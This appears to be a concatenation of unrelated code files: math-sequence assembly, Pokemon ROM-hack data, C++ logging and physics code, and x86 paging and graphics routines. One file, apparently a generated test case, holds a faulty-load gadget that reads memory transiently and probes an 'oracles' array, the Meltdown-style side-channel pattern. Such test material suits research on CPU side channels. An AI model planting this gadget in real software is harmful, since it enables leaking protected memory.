00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; A073388: Convolution of A002605(n) (generalized (2,2)-Fibonacci), n >= 0, with itself.
; 1,4,16,56,188,608,1920,5952,18192,54976,164608,489088,1443776,4238336,12382208,36022272,104407296,301618176,868765696,2495715328,7152286720,20452548608,58369409024,166276481024,472876388352,1342740086784,3807270862848,10780966420480,30490439434240,86132630487040,243053707132928,685167447375872,1929646987870208,5429627772469248,15264956682338304,42881981036888064,120372314016317440,337651091516686336,946488691042287616,2651448327891058688,7423095323365474304,20769867399056850944
lpb $0
sub $0,1
add $2,3
add $2,$0
max $1,$2
add $2,$3
mul $2,2
mov $3,$1
lpe
mov $0,$2
div $0,2
add $0,1
|
#include "common/call_log.h"
#include "common/zlog.h"
# pragma warning (disable:4819) //unicode warning
#include <boost/format.hpp>
//boost::atomic<long> call_log::counter(0);
call_log::call_log(std::string function, std::string file, enum logging_level level)
: level(level), mfunction(function)
{
static uint32 counter = 0;
id = ++counter;
LOG(level) << (boost::format("-->[C%d] %s")%id%(mfunction+file)).str();
}
call_log::~call_log(void)
{
LOG(level) << (boost::format("<--[C%d] %s")%id%mfunction).str();
}
|
;-----------------------------------------------------------------------------
; ceil.asm - floating point ceiling
; Ported from Al Maromaty's free C Runtime Library
;-----------------------------------------------------------------------------
SECTION .text
global ceil
global _ceil
ceil:
_ceil:
push ebp
mov ebp,esp
sub esp,4 ; Allocate temporary space
fld qword [ebp+8] ; Load real from stack
fstcw [ebp-2] ; Save control word
fclex ; Clear exceptions
mov word [ebp-4],0b63h ; Rounding control word
fldcw [ebp-4] ; Set new rounding control
frndint ; Round to integer
fclex ; Clear exceptions
fldcw [ebp-2] ; Restore control word
mov esp,ebp ; Deallocate temporary space
pop ebp
ret
|
; Tilesets indexes (see data/tilesets.asm)
const_def 1
const TILESET_SINNOH_1 ; 01 WEST SINNOH 1 (TWINLEAF, SANDGEM, JUBILIFE)
const TILESET_SINNOH_2 ; 02 WEST SINNOH 2 (OREBURGH, CANALAVE)
const TILESET_SINNOH_3 ; 03 WEST SINNOH 3 (FLOAROMA, ETERNA)
const TILESET_PLAYERS_ROOM ; 04 TWINLEAF 2F
const TILESET_PLAYERS_HOUSE ; 05 TWINLEAF 1F
const TILESET_HOUSE ; 06 INTERIOR
const TILESET_MODERN_INTERIOR ; 07 CITY APARTMENTS
const TILESET_LAKE ; 08 LAKES & SENDOFF SPRING
const TILESET_LAB ; 09 ROWAN'S LAB
const TILESET_POKECENTER ; 0a POKEMON CENTER
const TILESET_MART ; 0b DEPARTMENT STORE
const TILESET_POKECOM_CENTER ; 0c GLOBAL TRADE STATION
const TILESET_GYM_1 ; 0d OREBURGH GYM
const TILESET_MUSEUM ; 0e MINING MUSEUM
const TILESET_MANSION ; 0f APARTMENT BUILDING
const TILESET_CAVE ; 10 ASSORTED CAVES
const TILESET_GATE ; 11 GATEHOUSES
const TILESET_FOREST ; 12 ETERNA FOREST
const TILESET_FACILITY ; 13 GALACTIC HIDEOUT
const TILESET_BIKE_SHOP ; 14 BIKE SHOP
const TILESET_PARK ; 15 AMITY SQUARE
const TILESET_RADIO_TOWER ; 16 REPLACES CONTEST HALL
const TILESET_SOLACEON_RUINS ; 17 SOLACEON RUINS
const TILESET_TRADITIONAL_HOUSE ; 18 CELESIC HOUSE
const TILESET_GAME_CORNER ; 19 VEILSTONE GAME CORNER
const TILESET_SNOWPOINT_TEMPLE ; 1a SNOWPOINT TEMPLE
const TILESET_MT_CORONET ; 1b MT. CORONET
; bg palette values (see gfx/tilesets/*_palette_map.asm)
; TilesetBGPalette indexes (see gfx/tilesets/bg_tiles.pal)
const_def
const PAL_BG_GRAY ; 0
const PAL_BG_RED ; 1
const PAL_BG_GREEN ; 2
const PAL_BG_WATER ; 3
const PAL_BG_YELLOW ; 4
const PAL_BG_BROWN ; 5
const PAL_BG_ROOF ; 6
const PAL_BG_TEXT ; 7
const_value set $80
const PAL_BG_PRIORITY_GRAY ; 80
const PAL_BG_PRIORITY_RED ; 81
const PAL_BG_PRIORITY_GREEN ; 82
const PAL_BG_PRIORITY_WATER ; 83
const PAL_BG_PRIORITY_YELLOW ; 84
const PAL_BG_PRIORITY_BROWN ; 85
const PAL_BG_PRIORITY_ROOF ; 86
const PAL_BG_PRIORITY_TEXT ; 87
|
/*
Copyright (c) 2017-2021,
Battelle Memorial Institute; Lawrence Livermore National Security, LLC; Alliance for Sustainable
Energy, LLC. See the top-level NOTICE for additional details. All rights reserved.
SPDX-License-Identifier: BSD-3-Clause
*/
#pragma once
#include "helics/helics-config.h"
#include "helics/helics_enums.h"
/** @file
this file is meant to be included in the commonCore.cpp and coreBroker.cpp
and inherited class files
it assumes some knowledge of the internals of those programs via MACROS
using elsewhere is probably not going to work.
*/
/** enumeration of defined print levels*/
enum log_level : int {
no_print = helics_log_level_no_print, //!< never print
error = helics_log_level_error, //!< only print errors
warning = helics_log_level_warning, //!< print/log warning and errors
summary = helics_log_level_summary, //!< print/log summary information
connections =
helics_log_level_connections, //!< print summary+ federate level connection information
interfaces =
helics_log_level_interfaces, //!< print connections +interface level connection information
timing = helics_log_level_timing, //!< print interfaces+ timing(exec/grant/disconnect)
data = helics_log_level_data, //!< print timing+data transmissions
trace = helics_log_level_trace, //!< trace level printing (all processed messages)
fed = 99999 //!< special logging command for message coming from a fed
};
#define LOG_ERROR(id, ident, message) sendToLogger(id, log_level::error, ident, message)
#define LOG_ERROR_SIMPLE(message) \
sendToLogger(global_broker_id_local, log_level::error, getIdentifier(), message)
#define LOG_WARNING(id, ident, message) sendToLogger(id, log_level::warning, ident, message)
#define LOG_WARNING_SIMPLE(message) \
sendToLogger(global_broker_id_local, log_level::warning, getIdentifier(), message)
#ifdef HELICS_ENABLE_LOGGING
# define LOG_SUMMARY(id, ident, message) \
if (maxLogLevel >= log_level::summary) { \
sendToLogger(id, log_level::summary, ident, message); \
}
# define LOG_CONNECTIONS(id, ident, message) \
if (maxLogLevel >= log_level::connections) { \
sendToLogger(id, log_level::connections, ident, message); \
}
# define LOG_INTERFACES(id, ident, message) \
if (maxLogLevel >= log_level::interfaces) { \
sendToLogger(id, log_level::interfaces, ident, message); \
}
# ifdef HELICS_ENABLE_DEBUG_LOGGING
# define LOG_TIMING(id, ident, message) \
if (maxLogLevel >= log_level::timing) { \
sendToLogger(id, log_level::timing, ident, message); \
}
# define LOG_DATA_MESSAGES(id, ident, message) \
if (maxLogLevel >= log_level::data) { \
sendToLogger(id, log_level::data, ident, message); \
}
# else
# define LOG_TIMING(id, ident, message)
# define LOG_DATA_MESSAGES(id, ident, message)
# endif
# ifdef HELICS_ENABLE_TRACE_LOGGING
# define LOG_TRACE(id, ident, message) \
if (maxLogLevel >= log_level::trace) { \
sendToLogger(id, log_level::trace, ident, message); \
}
# else
# define LOG_TRACE(id, ident, message)
# endif
#else
# define LOG_SUMMARY(id, ident, message)
# define LOG_CONNECTIONS(id, ident, message)
# define LOG_INTERFACES(id, ident, message)
# define LOG_TIMING(id, ident, message)
# define LOG_DATA_MESSAGES(id, ident, message)
# define LOG_TRACE(id, ident, message)
#endif
|
.global s_prepare_buffers
s_prepare_buffers:
push %r15
push %r8
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xe304, %r15
and $5513, %r8
mov $0x6162636465666768, %rbx
movq %rbx, %xmm0
vmovups %ymm0, (%r15)
sub $3844, %rbp
lea addresses_WC_ht+0x124da, %rsi
lea addresses_normal_ht+0xd98a, %rdi
nop
nop
nop
xor $20831, %r9
mov $71, %rcx
rep movsl
nop
nop
add $57577, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r15
push %rbp
push %rbx
push %rcx
// Store
mov $0x53a, %rcx
nop
add $26962, %r11
movw $0x5152, (%rcx)
nop
nop
nop
nop
nop
and %r11, %r11
// Store
mov $0x48ca2f000000010a, %r15
nop
nop
nop
nop
dec %rbx
movb $0x51, (%r15)
xor %rbp, %rbp
// Load
lea addresses_A+0x790a, %rcx
nop
nop
nop
nop
add $4912, %r13
mov (%rcx), %bp
nop
and %r13, %r13
// Store
lea addresses_WT+0xc0a, %r12
nop
nop
nop
nop
xor $41564, %r13
mov $0x5152535455565758, %r15
movq %r15, (%r12)
nop
nop
cmp %r11, %r11
// Faulty Load
mov $0x48ca2f000000010a, %r12
nop
nop
cmp $65135, %r13
mov (%r12), %r15d
lea oracles, %rbx
and $0xff, %r15
shlq $12, %r15
mov (%rbx,%r15,1), %r15
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_P', 'AVXalign': False, 'size': 2}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 1}}
{'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_A', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_WT', 'AVXalign': False, 'size': 8}}
[Faulty Load]
{'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32}}
{'src': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_normal_ht'}}
{'51': 20613, '00': 1216}
51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 00 51 51 51 51 51 51 51 00 00 00 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 00 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 00 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 00 00 51 00 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 00 51 51 51 51 51 51 51 51 00 00 00 51 51 51 51 51 51 00 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 00 51 51 51 51 51 51 51 51 00 51 51 51 51 00 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 00 51 51 51 00 00 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 00 00 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 00 51 51 51 51 51 51 51 51 51 00 00 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 00 51 51 51 51 51 00 51 51 51 51 51 51 51 00 51 51 51 51 51 00 51 00 00 51 51 51 51 51 00 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 00 00 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 00 00 51 00 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 00
*/
|
; A047413: Numbers that are congruent to {3, 4, 6} mod 8.
; 3,4,6,11,12,14,19,20,22,27,28,30,35,36,38,43,44,46,51,52,54,59,60,62,67,68,70,75,76,78,83,84,86,91,92,94,99,100,102,107,108,110,115,116,118,123,124,126,131,132,134,139,140,142,147,148,150,155,156,158
add $0,1
mov $1,$0
lpb $0,1
sub $0,1
trn $0,1
add $1,5
mov $2,5
sub $2,$0
trn $0,1
sub $2,2
lpe
sub $1,$2
|
#pragma once
#include "physics/rotating_body.hpp"
#include <algorithm>
#include <vector>
#include "geometry/r3_element.hpp"
#include "geometry/rotation.hpp"
#include "physics/oblate_body.hpp"
#include "quantities/constants.hpp"
#include "quantities/si.hpp"
namespace principia {
namespace physics {
namespace internal_rotating_body {
using geometry::DefinesFrame;
using geometry::EulerAngles;
using geometry::Exp;
using geometry::RadiusLatitudeLongitude;
using geometry::SphericalCoordinates;
using quantities::SIUnit;
using quantities::si::Radian;
template<typename Frame>
RotatingBody<Frame>::Parameters::Parameters(
Length const& mean_radius,
Angle const& reference_angle,
Instant const& reference_instant,
AngularFrequency const& angular_frequency,
Angle const& right_ascension_of_pole,
Angle const& declination_of_pole)
: mean_radius_(mean_radius),
reference_angle_(reference_angle),
reference_instant_(reference_instant),
angular_frequency_(angular_frequency),
right_ascension_of_pole_(right_ascension_of_pole),
declination_of_pole_(declination_of_pole) {
CHECK_NE(angular_frequency_, 0.0 * SIUnit<AngularFrequency>())
<< "Rotating body cannot have zero angular velocity";
}
template<typename Frame>
RotatingBody<Frame>::RotatingBody(
MassiveBody::Parameters const& massive_body_parameters,
Parameters const& parameters)
: MassiveBody(massive_body_parameters),
parameters_(parameters),
polar_axis_(RadiusLatitudeLongitude(
1.0,
parameters.declination_of_pole_,
parameters.right_ascension_of_pole_).ToCartesian()),
angular_velocity_(polar_axis_.coordinates() *
parameters.angular_frequency_) {}
template<typename Frame>
Length RotatingBody<Frame>::mean_radius() const {
return parameters_.mean_radius_;
}
template<typename Frame>
Vector<double, Frame> const& RotatingBody<Frame>::polar_axis() const {
return polar_axis_;
}
template<typename Frame>
Angle const& RotatingBody<Frame>::right_ascension_of_pole() const {
return parameters_.right_ascension_of_pole_;
}
template<typename Frame>
Angle const& RotatingBody<Frame>::declination_of_pole() const {
return parameters_.declination_of_pole_;
}
template<typename Frame>
AngularFrequency const& RotatingBody<Frame>::angular_frequency() const {
return parameters_.angular_frequency_;
}
template<typename Frame>
AngularVelocity<Frame> const& RotatingBody<Frame>::angular_velocity() const {
return angular_velocity_;
}
template<typename Frame>
Angle RotatingBody<Frame>::AngleAt(Instant const& t) const {
return parameters_.reference_angle_ +
(t - parameters_.reference_instant_) * parameters_.angular_frequency_;
}
template<typename Frame>
Rotation<Frame, Frame> RotatingBody<Frame>::RotationAt(Instant const& t) const {
return Exp((t - parameters_.reference_instant_) * angular_velocity_);
}
template<typename Frame>
bool RotatingBody<Frame>::is_massless() const {
return false;
}
template<typename Frame>
bool RotatingBody<Frame>::is_oblate() const {
return false;
}
template<typename Frame>
void RotatingBody<Frame>::WriteToMessage(
not_null<serialization::Body*> const message) const {
WriteToMessage(message->mutable_massive_body());
}
template<typename Frame>
void RotatingBody<Frame>::WriteToMessage(
not_null<serialization::MassiveBody*> const message) const {
MassiveBody::WriteToMessage(message);
not_null<serialization::RotatingBody*> const rotating_body =
message->MutableExtension(serialization::RotatingBody::extension);
Frame::WriteToMessage(rotating_body->mutable_frame());
parameters_.mean_radius_.WriteToMessage(
rotating_body->mutable_mean_radius());
parameters_.reference_angle_.WriteToMessage(
rotating_body->mutable_reference_angle());
parameters_.reference_instant_.WriteToMessage(
rotating_body->mutable_reference_instant());
parameters_.angular_frequency_.WriteToMessage(
rotating_body->mutable_angular_frequency());
parameters_.right_ascension_of_pole_.WriteToMessage(
rotating_body->mutable_right_ascension_of_pole());
parameters_.declination_of_pole_.WriteToMessage(
rotating_body->mutable_declination_of_pole());
}
template<typename Frame>
not_null<std::unique_ptr<RotatingBody<Frame>>>
RotatingBody<Frame>::ReadFromMessage(
serialization::RotatingBody const& message,
MassiveBody::Parameters const& massive_body_parameters) {
Parameters const parameters(
Length::ReadFromMessage(message.mean_radius()),
Angle::ReadFromMessage(message.reference_angle()),
Instant::ReadFromMessage(message.reference_instant()),
AngularFrequency::ReadFromMessage(message.angular_frequency()),
Angle::ReadFromMessage(message.right_ascension_of_pole()),
Angle::ReadFromMessage(message.declination_of_pole()));
if (message.HasExtension(serialization::OblateBody::extension)) {
serialization::OblateBody const& extension =
message.GetExtension(serialization::OblateBody::extension);
return OblateBody<Frame>::ReadFromMessage(extension,
massive_body_parameters,
parameters);
} else {
return std::make_unique<RotatingBody<Frame>>(massive_body_parameters,
parameters);
}
}
} // namespace internal_rotating_body
} // namespace physics
} // namespace principia
|
db DEX_SCYTHER ; pokedex id
db 70, 110, 80, 105, 55
; hp atk def spd spc
db BUG, FLYING ; type
db 45 ; catch rate
db 187 ; base exp
INCBIN "gfx/pokemon/front/scyther.pic", 0, 1 ; sprite dimensions
dw ScytherPicFront, ScytherPicBack
db QUICK_ATTACK, NO_MOVE, NO_MOVE, NO_MOVE ; level 1 learnset
db GROWTH_MEDIUM_FAST ; growth rate
; tm/hm learnset
tmhm SWORDS_DANCE, TOXIC, TAKE_DOWN, DOUBLE_EDGE, HYPER_BEAM, \
RAGE, MIMIC, DOUBLE_TEAM, BIDE, SWIFT, \
SKULL_BASH, REST, SUBSTITUTE, CUT
; end
db 0 ; padding
|
; push color
; push x1
; push y1
; push x2
; push y2
lineFromTo:
push bp
mov bp,sp
push bx
mov ax,[bp+6]
sub ax,[bp+10]
jnl lineFromTo_prev1
neg ax
lineFromTo_prev1:
mov cx,[bp+4]
sub cx,[bp+8]
jnl lineFromTo_prev2
neg cx
lineFromTo_prev2:
cmp cx,ax
jle lineFromTo_y_less_x
;--------------------------------
shl ax,6
xor dx,dx
div cx
mov [lineFromTo_temp],ax
mov bx,[bp+8]
mov word [lineFromTo_sign],1
cmp bx,[bp+4]
jl lineFromTo_x_less_y_loop
mov word [lineFromTo_sign],-1
lineFromTo_x_less_y_loop:
mov ax,bx
sub ax,[bp+8]
jnl lineFromTo_x_less_y_loop_next1
neg ax
lineFromTo_x_less_y_loop_next1:
mul word [lineFromTo_temp]
shr ax,6
mov cx,[bp+10]
cmp cx,[bp+6]
jge lineFromTo_x_less_y_loop_next2
add cx,ax
jmp lineFromTo_x_less_y_loop_next3
lineFromTo_x_less_y_loop_next2:
sub cx,ax
lineFromTo_x_less_y_loop_next3:
push cx
push bx
push word [bp+12]
call point
add bx,[lineFromTo_sign]
cmp bx,[bp+4]
jne lineFromTo_x_less_y_loop
;--------------------------------
jmp lineFromTo_end
lineFromTo_y_less_x:
;--------------------------------
push ax
push cx
pop ax
pop cx
shl ax,6
xor dx,dx
div cx
mov [lineFromTo_temp],ax
mov bx,[bp+10]
mov word [lineFromTo_sign],1
cmp bx,[bp+6]
jl lineFromTo_y_less_x_loop
mov word [lineFromTo_sign],-1
lineFromTo_y_less_x_loop:
mov ax,bx
sub ax,[bp+10]
jnl lineFromTo_y_less_x_loop_next1
neg ax
lineFromTo_y_less_x_loop_next1:
mul word [lineFromTo_temp]
shr ax,6
mov cx,[bp+8]
cmp cx,[bp+4]
jge lineFromTo_y_less_x_loop_next2
add cx,ax
jmp lineFromTo_y_less_x_loop_next3
lineFromTo_y_less_x_loop_next2:
sub cx,ax
lineFromTo_y_less_x_loop_next3:
push bx
push cx
push word [bp+12]
call point
add bx,[lineFromTo_sign]
cmp bx,[bp+6]
jne lineFromTo_y_less_x_loop
;--------------------------------
lineFromTo_end:
pop bx
mov sp,bp
pop bp
retn 10
lineFromTo_sign dw 1
lineFromTo_temp dw 0
|
section .text
global start
extern main
extern exitu
start:
call main
call exitu
jmp $ |
%include "include/PagingInit.mac"
[BITS 16]
;********************************************************************************************************
;Generacion de paginas para el mappeo de los 4 primeros megas de memoria en identity mapping
;
;
;********************************************************************************************************
RealModePageInit:
;INICIO Creacion de paginas
;notar que estoy en modo real por lo que las direcciones salen de la suma de DUP:_PML4_BASE
xor eax,eax
mov eax, DUP
mov ds, eax
mov dword [DS:_PML4_BASE],PDPT_BASE + 0x17;0x11
mov dword [DS:_PML4_BASE + 4], 0
mov dword [DS:_PDPT_BASE],PDT_BASE + 0x17;0x11
mov dword [DS:_PDPT_BASE + 4], 0
mov dword [DS:_PDT_BASE],PT_BASE + 0x17;0x11
mov dword [DS:_PDT_BASE + 4], 0
mov dword [DS:_PDT_BASE + 8],PT_BASE + 0x1000 + 0x17;0x11
mov dword [DS:_PDT_BASE + 12], 0
;Aca arrancamos a crear las paginas con un loop
mov ecx, 1024 ;creo 1024 entradas, (2 pt) 512 por pt
mov eax, 01000h + 0x07;0x01 ;0x07 para W
mov edi, _PT_BASE + 8
pageloop:
mov dword [DS:edi],eax
mov dword [DS:edi + 4],0
add edi, 8
add eax, 1000h
loop pageloop
mov dword [DS:_PT_BASE + 0x40 ],0x8000 + 1
mov dword [DS:_PT_BASE + 4], 0
mov dword [DS:_PT_BASE + 0x48 ],0x9000 + 1
mov dword [DS:_PT_BASE + 4], 0
;pagina de usuario para las tareas en 0xA000
;mov dword [DS:_PT_BASE + 0x50 ],USER_PAGE + 7;0x07 ;x50 es la 0xa000
;mov dword [DS:_PT_BASE + 4], 0
;pagina de usuario para las tareas en 0xA000
;mov dword [DS:_PT_BASE + 0x58 ],0xb000 + 5;0x07 ;x50 es la 0xa000
;mov dword [DS:_PT_BASE + 4], 0
;en la 0x0000 pagino la b8000 de video
mov dword [DS:_PT_BASE],0b8000h + 0x01
mov dword [DS:_PT_BASE + 4], 0
;FIN CREACION PAGINAS
xor eax,eax
mov ds, eax
mov eax, DUP
shl eax,4
add eax,_PML4_BASE
mov cr3,eax
xor eax,eax
ret
[bits 64]
;********************************************************************************************************
;Inicializacion de tablas para la Tarea A
;********************************************************************************************************
Task_A_PagingInit:
xor eax,eax
mov dword [PML4_BASE_TA],PDPT_BASE_TA + 0x17
mov dword [PML4_BASE_TA + 4], 0
mov dword [PDPT_BASE_TA],PDT_BASE_TA + 0x17
mov dword [PDPT_BASE_TA + 4], 0
mov dword [PDT_BASE_TA],PT_BASE_TA + 0x17
mov dword [PDT_BASE_TA + 4], 0
mov dword [PDT_BASE_TA + 8],PT_BASE_TA + 0x1000 + 0x17
mov dword [PDT_BASE_TA + 12], 0
;*********************Paginas visibles para la task en prioridad kernel*********************/
;en la 0x0000 pagino la b8000 de video
mov dword [PT_BASE_TA],0b8000h + 0x01
mov dword [PT_BASE_TA + 4], 0
mov dword [PT_BASE_TA + 0x40 ],0x8000 + 1
mov dword [PT_BASE_TA + 0x44], 0
mov dword [PT_BASE_TA + 0x48 ],0x9000 + 1
mov dword [PT_BASE_TA + 0x4C], 0
mov dword [PT_BASE_TA + 0x50 ],0xA000 + 1
mov dword [PT_BASE_TA + 0x54], 0
mov dword [PT_BASE_TA + 0x58 ],0xB000 + 1
mov dword [PT_BASE_TA + 0x5C], 0
mov dword [PT_BASE_TA + 0x60 ],0xC000 + 1
mov dword [PT_BASE_TA + 0x64], 0
;**********************Paginas de usuario de la task***************************************/
;pagina de usuario para la tarea
mov dword [PT_BASE_TA + 0x68 ],0xD000 + 0x17;0x07 ;a la zona de memoria de la tarea le doy RPL user
mov dword [PT_BASE_TA + 0x6C], 0
ret
;********************************************************************************************************
;Inicializacion de tablas para la Tarea B
;********************************************************************************************************
Task_B_PagingInit:
xor eax,eax
mov dword [PML4_BASE_TB],PDPT_BASE_TB + 0x17
mov dword [PML4_BASE_TB + 4], 0
mov dword [PDPT_BASE_TB],PDT_BASE_TB + 0x17
mov dword [PDPT_BASE_TB + 4], 0
mov dword [PDT_BASE_TB],PT_BASE_TB + 0x17
mov dword [PDT_BASE_TB + 4], 0
